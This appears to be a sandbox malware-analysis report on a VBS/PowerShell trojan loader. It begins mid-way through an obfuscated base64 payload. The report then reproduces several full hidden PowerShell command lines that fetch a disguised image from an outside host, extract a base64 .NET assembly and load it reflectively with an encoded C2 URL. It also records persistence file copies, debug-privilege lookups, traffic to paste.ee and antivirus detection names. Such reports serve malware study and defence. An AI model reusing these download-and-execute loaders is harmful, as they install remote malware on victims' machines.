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dUcKsDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKJwDWKuQemdUcKnDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCcDWKuQemdUcKMgDWKuQemdUcKnDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKLDWKuQemdUcKDWKuQemdUcKgDWKuQemdUcKCcDWKuQemdUcKcgBlDWKuQemdUcKGcDWKuQemdUcKYQBzDWKuQemdUcKG0DWKuQemdUcKJwDWKuQemdUcKgDWKuQemdUcKCwDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKnDWKuQemdUcKDUDWKuQemdUcKJwDWKuQemdUcKgDWKuQemdUcKCwDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcKnDWKuQemdUcKEMDWKuQemdUcKOgBcDWKuQemdUcKFcDWKuQemdUcKaQBuDWKuQemdUcKGQDWKuQemdUcKbwB3DWKuQemdUcKHMDWKuQemdUcKXDWKuQemdUcKBUDWKuQemdUcKGUDWKuQemdUcKbQBwDWKuQemdUcKFwDWKuQemdUcKJwDWKuQemdUcKsDWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKJwBoDWKuQemdUcKGsDWKuQemdUcKYwBtDWKuQemdUcKGQDWKuQemdUcKJwDWKuQemdUcKpDWKuQemdUcKCkDWKuQemdUcK';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('DWKuQemdUcK','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
filepath: powershell
1 1 0

CreateProcessInternalW

 thread_identifier: 2196
thread_handle: 0x0000052c
process_identifier: 2192
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
filepath_r: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
stack_pivoted: 0
creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE|CREATE_NEW_CONSOLE|CREATE_UNICODE_ENVIRONMENT|EXTENDED_STARTUPINFO_PRESENT)
inherit_handles: 0
process_handle: 0x00000570
1 1 0

ShellExecuteExW

 show_type: 0
filepath_r: powershell.exe
parameters: -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
filepath: powershell.exe
1 1 0

CreateProcessInternalW

 thread_identifier: 2348
thread_handle: 0x00000450
process_identifier: 2344
current_directory: C:\Users\test22\AppData\Local\Temp
filepath:
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))"
filepath_r:
stack_pivoted: 0
creation_flags: 0 ()
inherit_handles: 1
process_handle: 0x00000454
1 1 0
Symantec ISB.Downloader!gen40
Avast Script:SNH-gen [Trj]
Kaspersky HEUR:Trojan.VBS.SAgent.gen
ZoneAlarm HEUR:Trojan.VBS.SAgent.gen
AVG Script:SNH-gen [Trj]
Time & API Arguments Status Return Repeated

GetAdaptersAddresses

 flags: 15
family: 0
111 0
Data received [
Data received We<…UŒv´zYL U=awmin x'ÂpDOWNGRD m.GŒy®šÕ@çóBGÁÖíW«ÙÃL|€Zü¶»)À ÿ 
Data received Q
Data received ‘
Data received A‹Ÿôöi Ͼhó§å eù¸¥ê‡&2 n™ êOrL¯èHZÓèÀÙ©b힍2†ñµ¡Â)éFŸ²JF0D L.Rºæ{ùt (E¥ ¶/-òxœV-Û²O¾žX {ËT0YËaÞ]2lIF#'LŒZWìÎé_cêß
Data received 
Data received 
Data received 
Data received 
Data received 0
Data received HZjD%!Pì/Eéùž¤ b]eðb€n øVёxz4É°M‰ï"Lrßê0
Data sent yue<‚¢i]KRüA­|¸L³ž9=þq¦î®npô¨ªd/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
Data sent FBAy™e¼, `o¬äŒÙh›}ÒãWÀÏS†äC·y¹åþB§ê…0<Ì`Êú=âÚ¡Û_'›êBnÉ<Ð¸0 Xì¸óÉd[,>¼pÞòBWô\²Œv‚ÀžEɀÿ‡VaWoñ5öÙÕ_Lå™
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

WSASend

 buffer: kge<‚6^!mî*<2òþÌjŒÛwæXôØN‡Á/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 976
0 0

WSASend

 buffer: FBA½=bžç‡2©A³ú ª³Y«9òP×:óÍ €à®×¿ÕÔ»&ǧ•H¬û3®Úôe¢&ß®%–¯fúu`l0§íÅMJtF0«"¿Z|* m}VrÇúŸƒØvRà£~¹OÒã¡Õè„yÞhý{J
socket: 976
0 0

WSASend

 buffer: À%ˉ- N¡þ2 MªVkÔ—)ß YlŒËH~ßàjߚG–~¼’I¶k§’¨yÃ¥|ò.ÌÓÀ” ÜËmW8‹qᒍ"\•6î@\Ÿ³ˆ‰âœ¤ì܎#A/HŠùœ nù“#÷͵7èXí@{3œÚPŠÌ›o.絗Õ'i£;VÐÒr|&˜Ýk¬¶‡]/;ÜuÆ )àC¹ø Õ6%Ø%_ÝŒÛõë¨ZÉ?Ñ©¤J`X7{ƒ‘àvå
socket: 976
0 0
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\F81F111D0E5AB58D396F7BF525577FD30FDC95AA\Blob
registry HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob
Time & API Arguments Status Return Repeated

WSASend

 buffer: kge<‚6^!mî*<2òþÌjŒÛwæXôØN‡Á/5 ÀÀÀ À 28&ÿ paste.ee  
socket: 976
0 0

WSASend

 buffer: FBA½=bžç‡2©A³ú ª³Y«9òP×:óÍ €à®×¿ÕÔ»&ǧ•H¬û3®Úôe¢&ß®%–¯fúu`l0§íÅMJtF0«"¿Z|* m}VrÇúŸƒØvRà£~¹OÒã¡Õè„yÞhý{J
socket: 976
0 0

WSASend

 buffer: À%ˉ- N¡þ2 MªVkÔ—)ß YlŒËH~ßàjߚG–~¼’I¶k§’¨yÃ¥|ò.ÌÓÀ” ÜËmW8‹qᒍ"\•6î@\Ÿ³ˆ‰âœ¤ì܎#A/HŠùœ nù“#÷͵7èXí@{3œÚPŠÌ›o.絗Õ'i£;VÐÒr|&˜Ýk¬¶‡]/;ÜuÆ )àC¹ø Õ6%Ø%_ÝŒÛõë¨ZÉ?Ñ©¤J`X7{ƒ‘àvå
socket: 976
0 0

send

 buffer: yue<‚¢i]KRüA­|¸L³ž9=þq¦î®npô¨ªd/5 ÀÀÀ À 284ÿuploaddeimagens.com.br  
socket: 1448
sent: 126
1 126 0

send

 buffer: FBAy™e¼, `o¬äŒÙh›}ÒãWÀÏS†äC·y¹åþB§ê…0<Ì`Êú=âÚ¡Û_'›êBnÉ<Ð¸0 Xì¸óÉd[,>¼pÞòBWô\²Œv‚ÀžEɀÿ‡VaWoñ5öÙÕ_Lå™
socket: 1448
sent: 134
1 134 0

WSASend

 buffer: GET /roots/dstrootcax3.p7c HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: apps.identrust.com
socket: 2032
0 0
parent_process powershell.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://uploaddeimagens.com.br/images/004/634/676/original/rumpe.jpg?1697053529';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('Fiber.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('dHh0LldTRy8wODA5LzQ1MS40Ni4zLjI5MS8vOnB0dGg=' , '' , '2' , 'regasm' , '5' , 'C:\Windows\Temp\', 'hkcmd'))"
parent_process wscript.exe martian_process "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if (-not (Get-ChildItem C:\Windows\Temp\*.vbs)) { Copy-Item -Path *.vbs -Destination C:\Windows\Temp\regasm.vbs -Force }
parent_process wscript.exe martian_process powershell -command "$Codigo = 'JDWKuQemdUcKBpDWKuQemdUcKG0DWKuQemdUcKYQBnDWKuQemdUcKGUDWKuQemdUcKVQByDWKuQemdUcKGwDWKuQemdUcKIDWKuQemdUcKDWKuQemdUcK9DWKuQemdUcKCDWKuQemdUcKDWKuQemdUcKJwBoDWKuQemdUcKHQDWKuQemdUcKdDWKuQemdUcKBwDWKuQemdUcKHMDWKuQemdUcKOgDWKuQemdUcKvDWKuQemdUcKC8DWKuQemdUcKdQBwDWKuQemdUcKGwDWKuQemdUcKbwBhDWKuQemdUcKGQDWKuQemdUcKZDWKuQemdUcKBlDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBuDWKuQemdUcKHMDWKuQemdUcKLgBjDWKuQemdUcKG8DWKuQemdUcKbQDWKuQemdUcKuDWKuQemdUcKGIDWKuQemdUcKcgDWKuQemdUcKvDWKuQemdUcKGkDWKuQemdUcKbQBhDWKuQemdUcKGcDWKuQemdUcKZQBzDWKuQemdUcKC8DWKuQemdUcKMDWKuQemdUcKDWKuQemdUcKwDWKuQemdUcKDQDWKuQemdUcKLwDWKuQemdUcK2DWKuQemdUcKDMDWKuQemdUcKNDWKuQemdUcKDWKuQemdUcKvDWKuQemdUcKDYDWKuQemdUcKNwDWKuQemdUcK2DWKuQemdUcKC8DWKuQemdUcKbwByDWKuQemdUcKGkDWKuQemdUcKZwBpDWKuQemdUcKG4DWKuQemdUcKYQBsDWKuQemdUcKC8DWKuQemdUcKcgB1DWKuQemdUcKG0DWKuQemdUcKcDWKuQemdUcKBlDWKuQemdUcKC4DWKuQemdUcKagBwDWKuQemdUcKGcDWKuQemdUcKPwDWKuQemdUcKxDWKuQemdUcKDYDWKuQemdUcKOQDWKuQemdUcK3DWKuQemdUcKDDWKuQemdUcKDWKuQemdUcKNQDWKuQemdUcKzDWKuQemdUcKDUDWKuQemdUcKMgDWKuQemdUcK5DWKuQemdUcKCcDWKuQemdUcKOwDWKuQemdUcKkDW